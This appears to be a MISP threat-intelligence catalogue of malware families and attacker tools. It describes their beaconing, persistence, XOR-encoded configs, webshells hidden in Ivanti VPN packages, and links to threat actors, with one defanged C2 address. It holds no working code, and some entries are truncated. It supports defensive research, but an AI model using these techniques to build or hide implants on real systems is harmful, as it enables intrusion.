Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

DDKONG

The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named 'RunOnce'. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it's not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported 'InitAction' function. If 0x6 is specified, the malware is instructed to load the exported 'KernelDllCmdAction' function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family's name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: *misp-galaxy:tool="DDKONG"*

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the 'Sub' function

which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file's contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called "Operation Bitter Biscuit," an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

Sekur

Sekur has been CARBON SPIDER's primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.

The tag is: *misp-galaxy:tool="Sekur"*

Table 21280. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Agent ORM

Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: *misp-galaxy:tool="Agent ORM"*

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

Table 21281. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

VB Flash

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: *misp-galaxy:tool="VB Flash"*

VB Flash is also known as:

- HALFBAKED

View relationships graph

VB Flash has relationships with:

- similar: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-

language:likelihood-probability="likely"

Table 21282. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JS Flash

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: *misp-galaxy:tool="JS Flash"*

JS Flash is also known as:

- JavaScript variant of HALFBAKED

Table 21283. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Bateleur

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

KEYMARBLE

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker’s control.

The tag is: *misp-galaxy:tool="MagentoCore Malware"*

NotPetya

Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian

organizations believed to have assisted the Russian state-sponsored actors with the operation.

Xbash

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim's MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

The tag is: *misp-galaxy:tool="Xbash"*

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware's use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim's computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other

cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.

The tag is: *misp-galaxy:tool="CroniX"*

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: *misp-galaxy:tool="DanderSpritz"*

DanderSpritz is also known as:

- Dander Spritz

GhostMiner

GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server's processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory

without writing any file on disk, where an antivirus engine could detect it.

KingMiner

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

OSX/Shlayer

The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although "adware" may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.

KimJongRAT

We conclude that this RAT/stealeris efficient and was also really interesting to analyse.Furthermore, the creator made effortsto look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant withthe name of each brother. After some searches using Google, we identified anold variant of this malware here: http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html. The code of the malware available on the blog is closeto our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixatedon the Kim family…The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the gmail mailbox is laoshi135.zhangand the secret question of this account is in Korean too.We don't know if the malware truly comesfrom Korea.However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: *misp-galaxy:tool="KimJongRAT"*

Reaver

Unit 42 has discovered a new malware family we've named "Reaver" with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen

by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.

The tag is: *misp-galaxy:tool="Reaver"*

View relationships graph

Reaver has relationships with:

- similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"
- similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="almost-certain"

https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html

SURTR

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”.1 All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

The tag is: *misp-galaxy:tool="SURTR"*

SunOrcal

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

The tag is: *misp-galaxy:tool="SunOrcal"*

View relationships graph

SunOrcal has relationships with:

Bookworm

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.

The tag is: *misp-galaxy:tool="Bookworm"*

COMpfun

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn't identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

The tag is: *misp-galaxy:tool="COMpfun"*

View relationships graph

COMpfun has relationships with:

- similar: misp-galaxy:malpedia="COMpfun" with estimative-language:likelihood-probability="almost-certain"

Table 21348. Table References

https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

Reductor

We called these new modules 'Reductor' after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor's authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we're quite sure the new malware was developed by the COMPfun authors.

The tag is: *misp-galaxy:tool="Reductor"*

Table 21349. Table References

DePriMon

DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the "Port Monitors" technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the "Windows Default Print Monitor" name; that's why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.

The tag is: *misp-galaxy:tool="DePriMon"*

View relationships graph

DePriMon has relationships with:

- similar: misp-galaxy:malpedia="Deprimon" with estimative-language:likelihood-probability="almost-certain"

Private Internet Access

Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.

The tag is: *misp-galaxy:tool="Private Internet Access"*

Private Internet Access is also known as:

- PIA

Table 21352. Table References

Links
https://www.privateinternetaccess.com/

Netcat

Reads from and writes to network connections using TCP or UDP protocols.

The tag is: *misp-galaxy:tool="Netcat"*

NBTScan

NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

The tag is: *misp-galaxy:tool="NBTScan"*

Table 21353. Table References

Links
https://sectools.org/tool/nbtscan/

PowerGhost

PowerGhost is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers. This type of hidden consolidation is

typical of miners: the more machines that get infected and the longer they remain that way, the greater the attacker's profits. Therefore, it's not uncommon to see clean software being infected with a miner; the popularity of the legitimate software serves to promote the malware's proliferation. The creators of PowerGhost, however, went further and started using fileless techniques to establish the illegal miner within the victim system.

The tag is: *misp-galaxy:tool="PowerGhost"*

Table 21354. Table References

Links
https://securelist.com/a-mining-multitool/86950/

VBEtaly

Check Point researchers have found another wave of the Ursnif malspam campaign targeting Italy. Only a few details are known so far but what we have found is that the file delivered is a VBE file (encoded VBS) named "SCANSIONE.vbe" and is delivered via ZIP attachments in emails with the subject suggesting different documents in Italian.

The tag is: *misp-galaxy:tool="VBEtaly"*

Table 21355. Table References

GoldMax

Written in Go, GoldMax acts as command-and-control backdoor for the actor. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running. GoldMax establishes a secure session key with its C2 and uses that key to securely communicate with the C2, preventing non-GoldMax-initiated connections from receiving and identifying malicious traffic. The C2 can send commands to be launched for various operations, including native OS commands, via psuedo-randomly generated cookies. The hardcoded cookies are unique to each implant, appearing to be random strings but mapping to victims and operations on the actor side.

The tag is: *misp-galaxy:tool="GoldMax"*

GoldFinder

Tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g., hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g., loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file:

The tag is: *misp-galaxy:tool="GoldFinder"*

View relationships graph

GoldFinder has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Table 21384. Table References

https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Sibot

Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk. The VBScript is then run via a scheduled task.

The tag is: *misp-galaxy:tool="Sibot"*

View relationships graph

Sibot has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

Matanbuchus

Matanbuchus is a loader promoted by BelialDemon. It can launch an EXE or DLL file in memory, leverage schtasks.exe to add or modify task schedules, and launch custom PowerShell commands, among other capabilities. Attackers use a Microsoft Excel document as the initial vector to drop the Matanbuchus Loader DLL.

The tag is: *misp-galaxy:tool="Matanbuchus"*

ESPecter bootkit

ESET researchers have analyzed a previously undocumented, real-world UEFI bootkit that persists on the EFI System Partition (ESP). The bootkit, which we've named ESPecter, can bypass Windows Driver Signature Enforcement to load its own unsigned driver, which facilitates its espionage activities. Alongside Kaspersky's recent discovery of the unrelated FinSpy bootkit, it is now safe to say that real-world UEFI threats are no longer limited to SPI flash implants, as used by Lojax.

The tag is: *misp-galaxy:tool="ESPecter bootkit"*

Shark

Shark is a 32-bit executable written in C# and .NET. To run Shark, a parameter is passed on the command line that includes the executable's filename. Shark generates a mutex that uses the executable's filename as the mutex value. The mutex likely ensures Shark does not execute on a machine where it is already running and that the correct version of Shark is executed.

The tag is: *misp-galaxy:tool="Shark"*

View relationships graph

Shark has relationships with:

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant's Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of "Shathak" or "TA551".

The tag is: *misp-galaxy:tool="MOUSEISLAND"*

SNOWYAMBER

A tool first used in October 2022, abusing the Notion service to communicate and download further malicious files. Two versions of this tool have been observed.

SNOWYAMBER is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. SNOWYAMBER abuses the NOTION collaboration service as a communication channel. It does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, SNOWYAMBER uses several antidetection and obfuscation techniques, including string encryption, dynamic API resolving, EDR/AV unhooking, and direct syscalls.

The tag is: *misp-galaxy:tool="SNOWYAMBER"*

View relationships graph

SNOWYAMBER has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-

language:likelihood-probability="likely"

QUARTERRIG

A tool first used in March 2023, sharing part of the code with HALFRIG. Two versions of this tool were observed.

QUARTERRIG is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. QUARTERRIG does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, QUARTERRIG heavily relies on obfuscation based on opaque predicates and multi-stage execution, interweaving shellcode and PE files. HALFRIG and QUARTERRIG share some of the codebase, suggesting that QUARTERRIG authors have access to both HALFRIG source code and the same obfuscation libraries.

The tag is: *misp-galaxy:tool="QUARTERRIG"*

View relationships graph

QUARTERRIG has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"

DangerAds

This is a loader Trojan used by AtlasCross in this activity. Its main function is to detect the host environment and execute a built-in shellcode in its own process, and then the shellcode loads and runs subsequent Trojan programs. DangerAds writes major malicious code to the .NET dll program's HelpText method, so it starts when an external program invokes Help from that dll program. It should be noted that the user name and local domain name of the host will be collected before the main malicious functions of DangerAds are executed, and subsequent codes will be executed only when one of these two names contains the keyword "danger" or "ads-wcf". Therefore, it can be judged that this attack is a targeted attack against the domain or user name containing "ads-wcf". The main body of DangerAds malicious code will determine the number of program version bits and selectively decrypt and execute an x86 or x64 shellcode. DangerAds uses multi-byte XOR for decryption, while shellcode is loaded directly in the process. In the shellcode stage, DangerAds uses a set of open-source scheme sRDI (https://github.com/monoxgas/sRDI/blob/master/shellcodeRDI/shellcodeRDI.c)) to load and execute DLL programs. The shellcode finally loads the attached DLL program at its tail and calls the export function EnumWinEvent. The DLL program loaded by this shellcode is the AtlasAgent Trojan developed by AtlasCross.

The tag is: *misp-galaxy:tool="DangerAds"*

View relationships graph

DangerAds has relationships with:

- used-by: misp-galaxy:threat-actor="AtlasCross" with estimative-language:likelihood-probability="likely"
- executes: misp-galaxy:tool="AtlasAgent" with estimative-language:likelihood-probability="likely"

Table 21442. Table References

AtlasAgent

AtlasAgent used in this attack activity is Trojan horse program developed by AtlasCross. The main functions of the Trojan are to obtain host information, process information, prevent opening of multi-programs, inject specified shellcode and download files from CnC servers. The Trojan communicates with the CnC through HTTP protocol, encrypts communication data using Base64 encoding after RC4 encryption, and encrypts key APIs using two encryption methods at the same time.

The tag is: *misp-galaxy:tool="AtlasAgent"*

View relationships graph

AtlasAgent has relationships with:

- used-by: misp-galaxy:threat-actor="AtlasCross" with estimative-language:likelihood-probability="likely"

BUSHWALK

A mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as BUSHWALK. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity. BUSHWALK is written in Perl and is embedded into a legitimate CS file, querymanifest.cgi. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server. BUSHWALK executes its malicious Perl function, validateVersion, if the web request platform parameter is SafariiOS. It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web request’s command parameter.

The tag is: *misp-galaxy:tool="BUSHWALK"*

Table 21448. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

LIGHTWIRE

The original LIGHTWIRE webshell sample contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command./nMandiant has identified an additional variant of the LIGHTWIRE web shell that inserts itself into a legitimate component of the VPN gateway, compcheckresult.cgi./nThe new sample utilizes the same GET parameters as the original LIGHTWIRE sample./nThe new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to $useCompOnly. Next, it will use the Perl tr operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling eval.

The tag is: *misp-galaxy:tool="LIGHTWIRE"*

Table 21449. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

CHAINLINE

CHAINLINE is a Python webshell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution./nCHAINLINE was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py. This is the same Python package modified to support the WIREFIRE web shell./nUnlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called health.py, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE./nUNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint /api/v1/cav/client/health. This was accomplished by importing the maliciously created Health API resource and then calling the add_resource() class method on the FLASK-RESTful Api object within /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/*init*.py.

The tag is: *misp-galaxy:tool="CHAINLINE"*

Table 21450. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

FRAMESTING

FRAMESTING is a Python webshell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution./nFRAMESTING was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells./nWhen installed, the threat actor can access FRAMESTING web shell at the REST endpoint /api/v1/cav/client/categories with a POST request. Note that the legitimate categories endpoint only accepts GET requests./nThe web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named DSID from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress zlib data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python exec() statement to dynamically execute additional Python code./nNote that DSID is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.

The tag is: *misp-galaxy:tool="FRAMESTING"*

Table 21451. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

IMPACKET

IMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.

The tag is: *misp-galaxy:tool="IMPACKET"*

Table 21452. Table References

SPAWNANT

SPAWNANT is an installer that leverages a coreboot installer function to establish persistence for the SPAWNMOLE tunneler and SPAWNSNAIL backdoor. It hijacks a legitimate dspkginstall installer process and exports an sprintf function adding a malicious code to it before redirecting a flow back to vsnprintf.

The tag is: *misp-galaxy:tool="SPAWNANT"*

View relationships graph

SPAWNANT has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- followed-by: misp-galaxy:tool="SPAWNMOLE" with estimative-language:likelihood-probability="likely"
- followed-by: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"

Table 21455. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

SPAWNMOLE

SPAWNMOLE is a tunneler that injects into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. The remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer. Mandiant assesses the attacker would most likely pass a local port where SPAWNSNAIL is operating to access the backdoor.

The tag is: *misp-galaxy:tool="SPAWNMOLE"*

View relationships graph

SPAWNMOLE has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- preceded-by: misp-galaxy:tool="SPAWNANT" with estimative-language:likelihood-probability="likely"
- interacts-with: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"
